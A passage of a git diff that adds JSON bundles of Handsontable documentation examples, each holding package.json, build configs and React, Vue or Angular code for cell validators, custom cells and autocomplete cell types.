    \n = 0; i--) {\n // gently don't accept the word \"foo\" (remove the change at index i)\n if (cellChanges[i][3] === 'foo') {\n changes.splice(i, 1);\n }\n // if any of pasted cells contains the word \"nuke\", reject the whole paste\n else if (cellChanges[i][3] === 'nuke') {\n return false;\n }\n // capitalise first letter in column 1 and 2\n else if (cellChanges[i][1] === 'name.first' || cellChanges[i][1] === 'name.last') {\n if (cellChanges[i][3] !== null) {\n cellChanges[i][3] = cellChanges[i][3].charAt(0).toUpperCase() + cellChanges[i][3].slice(1);\n }\n }\n }\n }}\n afterChange={function (changes, source) {\n if (source !== 'loadData' && source !== 'updateData') {\n setOutput(JSON.stringify(changes));\n }\n }}\n colHeaders={['ID', 'First name', 'Last name', 'IP', 'E-mail']}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n columns={[\n { data: 'id', type: 'numeric' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'ip', validator: ipValidatorRegexp, allowInvalid: true },\n { data: 'email', validator: emailValidator },\n ]}\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-validator/react/example1.tsx","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-validator","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__react__example2.tsx.json new file mode 100644 index 00000000..067c3b67 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\n\ntype CellMeta = { allowEmpty?: boolean };\n\nfunction decimalValidator(this: CellMeta, value: unknown, callback: (valid: boolean) => void) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n\n return;\n }\n\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-validator/react/example2.tsx","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__vue__example1.vue.json new file mode 100644 index 00000000..3a17d72a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell validator · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-validator/vue/example1.vue","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-validator","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__vue__example2.vue.json new file mode 100644 index 00000000..bdea138a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-validator/vue/example2.vue","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example1.vue.json new file mode 100644 index 00000000..148816a3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Custom Cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/custom-cells/vue/example1.vue","breadcrumb":["Cell Functions","Custom Cells"],"guide":"guides/cell-functions/custom-cells/custom-cells.md","guideTitle":"Custom Cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/custom-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example2.vue.json new file mode 100644 index 00000000..3961842a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Custom Cells · Vue component renderer · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/custom-cells/vue/example2.vue","breadcrumb":["Cell Functions","Custom Cells"],"guide":"guides/cell-functions/custom-cells/custom-cells.md","guideTitle":"Custom Cells","exampleId":"example2","exampleTitle":"Vue component renderer","docPermalink":"/custom-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example3.vue.json new file mode 100644 index 00000000..0cb41c7b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__custom-cells__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Custom Cells · Custom editors · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/custom-cells/vue/example3.vue","breadcrumb":["Cell Functions","Custom Cells"],"guide":"guides/cell-functions/custom-cells/custom-cells.md","guideTitle":"Custom Cells","exampleId":"example3","exampleTitle":"Custom editors","docPermalink":"/custom-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..5d2d33ee --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst colors = [\n 'yellow',\n 'red',\n 'orange and another color',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n];\n\n@Component({\n selector: 'example1-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'autocomplete',\n source: ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'],\n strict: false,\n },\n { type: 'numeric' },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n visibleRows: 4,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n trimDropdown: false,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json new file mode 100644 index 00000000..62841f55 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst colors = [\n 'yellow',\n 'red',\n 'orange and another color',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n 'purple',\n 'lime',\n 'olive',\n 'cyan',\n];\n\n@Component({\n selector: 'example2-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: [\n 'Car
    (allowInvalid true)',\n 'Year',\n 'Chassis color',\n 'Bumper color
    (allowInvalid true)',\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'autocomplete',\n source: ['BMW', 'Chrysler', 'Nissan', 'Suzuki', 'Toyota', 'Volvo'],\n strict: true,\n },\n {},\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: true,\n allowInvalid: true, // true is default\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example2.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example2","exampleTitle":"Autocomplete strict mode","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json new file mode 100644 index 00000000..17c37a0e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": 